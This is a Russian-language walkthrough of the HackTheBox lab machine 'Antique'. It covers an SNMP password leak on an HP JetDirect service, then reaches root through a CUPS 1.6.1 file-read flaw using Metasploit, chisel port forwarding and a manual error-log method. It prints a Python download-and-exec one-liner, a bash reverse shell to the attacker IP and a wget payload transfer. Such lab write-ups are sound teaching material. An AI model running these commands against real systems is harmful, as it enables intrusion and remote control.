Здравствуйте, дорогие друзья. Добро пожаловать на прохождение машины Antique, с площадки HackTheBox.
Краткое содержание
Antique - это машина с Linux, и хакеры считают ее легкой для взлома. В этом блоке мы начнем с базового сканирования портов и будем двигаться в сторону на основе результатов. Затем мы перечислим службу telnet и выясним уязвимости, присутствующие в конкретной версии. Впоследствии мы воспользуемся уязвимостью раскрытия паролей и получим простые пароли. Затем нам будет получим root-доступ, где нам нужно будет выполнить переадресацию портов, а затем мы будем читать конфиденциальные файлы, используя уязвимость чтения файлов, присутствующую в версии CUPS 1.6.1. Кроме того, мы будем использовать привилегии и переадресацию портов, используя два разных метода.
Содержание
Первоначальный доступ
· Первоначальное сканирование TCP-портов Nmap
· Захват баннера через Telnet
· В поисках эксплойта
· Перечисление SNMP
· Пользовательская оболочка
· Флаг пользователя
Повышение привилегий
· Переадресация портов с помощью Metasploit
· Поиск векторов повышения привилегий
· Эксплуатация файла чтения уязвимости
· Корневой флаг
· Ручной метод
· Переадресация портов
· Рут флаг
Давайте использовать этот путь пошагово.
Первоначальный доступ
Мы собираемся начать оценку с обычного сканирования портов TCP/IP.
Первоначальное сканирование TCP-портов Nmap
Мы начинаем со сканирования портов, где используем nmap, чтобы выяснить, какие порты открыты и какие службы работают на целевом хосте. Nmap — популярный инструмент сканирования портов, входящий в состав Kali Linux. Чтобы выполнить сканирование портов, мы использовали флаг –sV с полными портами TCP для целевой системы, которая будет сканировать полные порты TCP с версией службы.
Особенности флагов:
-sV: пытается определить версию службы.
-p-: пытается сканировать полные порты.
nmap -p- -sV 10.129.33.36
Сканирование nmap показало, что telnet открыт. Telnet используется для удаленных подключений. Многие версии telnet уязвимы, и это не защищенный протокол, поскольку он не использует никакого шифрования при обмене данными и передаче сообщений от одной конечной точки к другой.
Захват баннера через Telnet
При захвате баннера отображается HP JetDirect и запрос пароля. По своему названию он похож на службу принтера, управляемую по протоколу telnet. Часто администраторы используют общий пароль для принтеров, но в нашем случае это не сработало.
В поисках эксплойта
Когда мы искали эксплойт, связанный с HP Jet Direct, мы обнаружили один доступный эксплойт, который имеет уязвимость, связанную с раскрытием пароля устройства. Мы загрузили эксплойт и проверили исходный код и обнаружили, что он работает с протоколом SNMP. Если мы получим пароль устройства, мы сможем перечислить устройство через telnet, используя учетные данные. Но это возможно только при открытом протоколе SNMP.
searchsploit HP JetDirect
searchsploit -m 22319
cat 22319.txt
Перечисление SNMP
На этот раз мы сканируем только службу SNMP, которая работает через порт по умолчанию 161 и следует протоколу UDP. В результате сканирования nmap мы обнаружили, что порт SNMP открыт, а имя сообщества является общедоступным, что очень часто встречается. Кроме того, мы обнаружили, что он использует SNMP версии 1, которая является небезопасной версией, поскольку не использует шифрование.
Особенности флагов:
-sU: пытается сканировать UDP-порты.
-sV: пытается определить версию службы.
-p: пытается выполнить сканирование по заданному порту.
nmap -sU -sV -p 161 10.129.33.36
Далее мы воспользуемся найденным ранее эксплойтом, который дал нам десятичные значения. Здесь мы указали целевой IP-адрес 10.129.33.36.
snmpget -v 1 -c public 10.129.33.36 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
Затем мы скопировали все десятичное содержимое и декодировали его с помощью Cyberchef. Cyberchef - это онлайн-инструмент, используемый для кодирования и декодирования. После расшифровки мы получили простой пароль:
P@ssw0rd@123!!123
Пользовательская оболочка
Получив учетные данные, мы вошли в telnet и использовали команду справки (?). Там мы увидели, что мы можем использовать команду exec, что означает, что отсюда мы можем выполнять любые системные команды.
Затем мы использовали модуль веб-доставки сценариев Metasploit, который создаст сервер и отправит полезную нагрузку для получения обратной оболочки после запуска сервера. Мы будем использовать обратную оболочку Python. Выполнение обратной оболочки даст нам сеанс Meterpreter. Для этого нам нужно указать IP-адрес srvhost, IP-адрес локального хоста и порт прослушивания, но мы можем пропустить lport, поскольку Metasploit выбирает его сам, и его порт прослушивания по умолчанию — 4444. Обратите внимание, что и srvhost, и локальный IP-адрес являются таким же, как IP-адрес нашей машины Kali. Более подробную информацию об этом модуле можно найти здесь:
https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery/
use multi/script/web_delivery
set lhost 10.10.14.93
set srvhost 10.10.14.93
exploit
python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.10.14.93:8080/CzrKiV54o7', context=ssl._create_unverified_context());exec(r.read());"
Флаг пользователя
Как мы видим, мы получили оболочку meterpreter. Теперь мы можем получить каталог пользовательского флага /var/spool/lpd. Кроме того, если сеанс Meterpreter установлен, мы можем взаимодействовать с номером сеанса, здесь он равен 1. После дальнейшего перечисления внутренней сети мы обнаружили, что протокол интернет-печати работает на порту по умолчанию 631.
Повышение привилегий
Повышение привилегий - это процесс использования ошибки, недостатка конструкции или недосмотра конфигурации в операционной системе или программном приложении для получения расширенного доступа к ресурсам, которые обычно защищены от приложения или пользователя. Повышение привилегий может использоваться злоумышленниками для получения доступа к большему количеству системных функций и данных, чем предполагалось пользователем root. В некоторых случаях повышение привилегий может позволить злоумышленникам полностью контролировать систему.
Переадресация портов с помощью Metasploit
Чтобы перечислить порт 631, мы перенаправим его порт в нашу систему Kali, чтобы он был доступен оттуда. Здесь у нас есть номер порта, к которому мы хотим получить доступ в нашем интерфейсе Kali, и номер порта, который мы хотим перенаправить в нашу систему Kali, который равен 631.
portfwd add -l 8082 -p 631 -r 127.0.0.1
Поиск векторов повышения привилегий
Получив доступ к нему через браузер из нашей Kali, мы открыли веб-страницу, на которой нашли CUPSверсии 1.6.1.
Эксплуатация файла чтения уязвимости
Версия CUPS 1.6.1 уязвима для чтения корневых файлов. Мы нашли модуль Metasploit, который также доступен там. Затем мы переключились на модуль, в котором мы указали идентификатор текущего сеанса и имя файла, который мы хотим прочитать, где мы указали root.txt.
use post/multi/escalate/cups_root_file_read
set session 1
set file /root/root.txt
Рут-флаг
После выполнения эксплойта выходные данные будут сохранены в каталоге /root/.msf4/loot. Там мы можем использовать команду cat для просмотра содержимого roo.txt. Теперь мы можем отправить корневой флаг.
Ручной метод
Давайте попробуем вручную: воспользуемся уязвимостью чтения корневого файла при переадресации портов. Во многих экзаменах нам не разрешено использовать автоматизированные инструменты, поэтому нам также необходимо рассмотреть возможность работы и вручную.
Переадресация портов
Для проброса портов нам необходимо скачать chisel и передать его на целевую машину. Chisel — отличный инструмент, используемый многими тестировщиками на проникновение во время внутренних оценок. Обязательно загружайте только архитектуру amd64. Ссылка для скачивания приведена ниже:
https://github.com/jpillora/chisel
После загрузки мы разархивируем его и включим сервер Python на порту 80, чтобы перенести его в целевую систему.
gunzip chisel_1.7.7_linux_amd64.gz
python3 -m http.server 80
Нам также необходимо настроить сервер chisel в нашей системе Kali, чтобы они могли общаться друг с другом. Во-первых, нам нужно дать полное разрешение на выполнение. Далее мы настроим сервер Chisel на порту 5000.
chmod 777 chisel_1.7.7_linux_amd64.gz
./ chisel_1.7.7_linux_amd64.gz server -p 5000 –reverse
Затем мы выполним обратный шелл после аутентификации через telnet с полученным паролем: P@ssw0rd@123!!123. После входа в telnet мы выполним обратную оболочку с помощью команды exec, здесь мы используем однострочную обратную оболочку bash. Не забудьте включить прослушиватель netcat на порту 1234 перед выполнением однострочной команды bash.
На терминале Кали 1:
telnet 10.129.33.36
На терминале Кали 2:
Nc -nlvp 1234
На терминале Кали 1:
exec bash -c 'bash -i >& /dev/tcp/10.10.14.93/1234 0>&1'
Далее мы загрузим chisel в папку /tmp целевой системы.
wget 10.10.14.93/chisel_1.7.7_linux_amd64
Как только мы загрузим chisel в целевую систему, мы предоставим полное разрешение, чтобы мы могли его выполнить. Здесь нам нужно предоставить несколько деталей для настройки клиента-chisel, таких как IP-адрес злоумышленника (10.10.14.93), порт сервера на стороне злоумышленника (5000), удаленный порт (5432), к которому мы хотим получить доступ к службе, кроме локального хоста, и локальный внутренний порт (631), который мы хотим перенаправить.
./chisel_1.7.7_linux_amd64 client 10.10.14.93:5000 R:5432:localhost:631
Как только мы перенаправим порт, мы сможем получить к нему доступ из Kali через браузер по IP-адресу обратной связи или локальному хосту через порт 5432.
Рут-флаг
Когда мы проверили группы, мы обнаружили, что текущие пользователи принадлежат группе lpadmin. Поскольку cups доступен из браузера Kali, здесь мы меняем путь журнала ошибок на /root/root.txt. Как только мы это сделаем, мы сможем проверить файл root.txt через браузер. До изменения пути к журналу ошибок мы могли видеть в браузере только журналы ошибок, но после изменения пути мы сможем читать любые файлы, которые хотим прочитать.
Журналы ошибок хранятся в каталоге /admin/log. Проверив журнал ошибок в браузере, мы получили содержимое root.txt вместо какой-либо ошибки. Теперь мы можем отправить корневой флаг.
Заключение
Эта машина была интересной и стала отличным источником обучения, где мы узнали и исследовали множество вещей, таких как сканирование портов TCP, перечисление служб, сканирование портов UDP, перечисление SNMP, использование уязвимости раскрытия пароля, переадресация портов (Metasploit), переадресация портов ( руководство), передача файлов, права доступа к файлам, использование уязвимости чтения файлов для чтения файла root.txt двумя разными способами.
Спасибо, что уделили свое драгоценное время чтению этого руководства. Надеюсь, Вам понравилось сегодня, и Вы узнали что-то новое. Удачного взлома!